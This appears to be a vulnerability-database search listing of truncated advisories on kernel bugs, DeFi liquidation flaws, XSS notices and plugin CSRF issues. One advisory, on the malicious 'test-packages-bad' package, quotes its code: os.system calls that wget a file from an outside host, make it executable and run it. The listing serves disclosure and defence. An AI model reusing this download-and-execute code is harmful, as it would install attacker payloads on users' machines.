PT-2023-33961 · Linux · Linux Kernel

Name of the Vulnerable Software and Affected Versions: Linux Kernel versions prior to v5.15.87 Description: A potential security issue has been identified in the ext4 file system. The issue is related to the handling of bad inodes. The actual impact and attack plausibility have not yet been prove...

Liquidation bots are needed to stabilize the system.

Lines of code Vulnerability details Impact Allowing liquidation bots to arbitrage would stabilize the system. The majority of liquidations are done by liquidation bots. For liquidation bots to be viable there has to exist a secondary market where the assets can be instantly sold. This is especial...

shop.breaking-bad-online.ru Cross Site Scripting vulnerability OBB-3113972

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

Users may be liquidated right after taking maximal debt

Lines of code Vulnerability details Impact Since there's no gap between the maximal LTV and the liquidation LTV, user positions may be liquidated as soon as maximal debt is taken, without leaving room for collateral and Papr token prices fluctuations. Users have no chance to add more collateral o...

PT-2022-14777 · Google · Android Kernel

Name of the Vulnerable Software and Affected Versions: Android kernel Description: The issue is related to a possible out of bounds write in the thermal cooling device stats update function of thermal sysfs.c due to improper input validation. This could lead to local escalation of privilege in th...

CVE-2022-3883

The Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection WordPress plugin before 7.24 does not have proper authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress....

CVE-2022-3883 StopBadBots < 7.24 - Subscriber+ Arbitrary Plugin Installation

The Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection WordPress plugin before 7.24 does not have proper authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress....

PT-2022-24588 · WordPress · Block Bad Bots/Stop Bad Bots Crawlers/Spiders/Anti Spam Protection

Name of the Vulnerable Software and Affected Versions: The Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection WordPress plugin versions prior to 7.24 Description: The issue is related to a lack of proper authorization and CSRF protection in an AJAX action. This allows...

Bad debt will likely incur when multiple NFTs are liquidated.

Lines of code Vulnerability details Description getUserBalanceForERC721 in GenericLogic gets the value of a user's specific ERC721 xToken. It is later used for determining the account's health factor. In case isAtomicPrice is false such as in ape NTokens, price is calculated using: uint256...

GSD-2022-1007818 x86/tdx: Panic on bad configs that #VE on "private" memory access

x86/tdx: Panic on bad configs that VE on "private" memory access This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v6.0.8 by commit...

PT-2022-36073 · Linux · Linux Kernel

Name of the Vulnerable Software and Affected Versions: Linux Kernel versions v5.19 through v6.0.7 Description: The issue is related to a panic on bad configurations that generate a VE exception on "private" memory access. The actual impact and attack plausibility have not yet been proven...

CVE-2022-32598

In widevine, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07446228; Issue ID: ALPS07446228...

CVE-2022-39334 nextcloudcmd incorrectly trusts bad TLS certificates

Nextcloud also ships a CLI utility called nextcloudcmd which is sometimes used for automated scripting and headless servers. Versions of nextcloudcmd prior to 3.6.1 would incorrectly trust invalid TLS certificates, which may enable a Man-in-the-middle attack that exposes sensitive data or...

Malicious Package

Overview test-packages-bad is a malicious package. This package downloads and runs malicious code on the victim host. Malicious Code python import os os.system"wget https://dark.devsecwise.com/cronjob.out /dev/null 2&1" os.system"chmod +x /home/$he/.metasploit/cronjob.out" os.system"./cronjob.out...

kernel: udmabuf: validate ubuf->pagecount

A vulnerability was found in the Linux kernel in the udmabufcreate function. An improper user-provided argument validation can lead to a ZEROPTR value being passed to the sgallocappendtablefrompages function, which attempts a dereference and leads to a kernel crash...

kernel: BPF: Fix potential bad pointer dereference in bpf_sys_bpf()

In the Linux kernel, the following vulnerability has been resolved: BPF: Fix potential bad pointer dereference in bpfsysbpf The bpfsysbpf helper function allows an eBPF program to load another eBPF program from within the kernel. In this case the argument union bpfattr pointer as well as the insn...

PT-2025-25995 · Linux +2 · Linux Kernel +2

Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 5.19.0-rc7 Description: A potential bad pointer dereference issue exists in the bpf sys bpf helper function, which allows an eBPF program to load another eBPF program from within the kernel. The issue arises whe...

bad-lausick.de Cross Site Scripting vulnerability OBB-3040436

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

From Online Fraud to DDoS and API Abuse: The State of Security Within eCommerce in 2022

What are the biggest cybersecurity threats affecting online retailers today? The State of Security Within eCommerce in 2022 Report from Imperva is now available and answers that question. For this report, Imperva’s cybersecurity experts analyzed 12 months of data, collected from our global networ...

GHSA-9398-5GHF-7PR6 conduit-hyper vulnerable to Denial of Service from unchecked request length

Prior to version 0.4.2, conduit-hyper did not check any limit on a request's length before calling hyper::body::tobytes. An attacker could send a malicious request with an abnormally large Content-Length, which could lead to a panic if memory allocation failed for that request. In version 0.4.2,...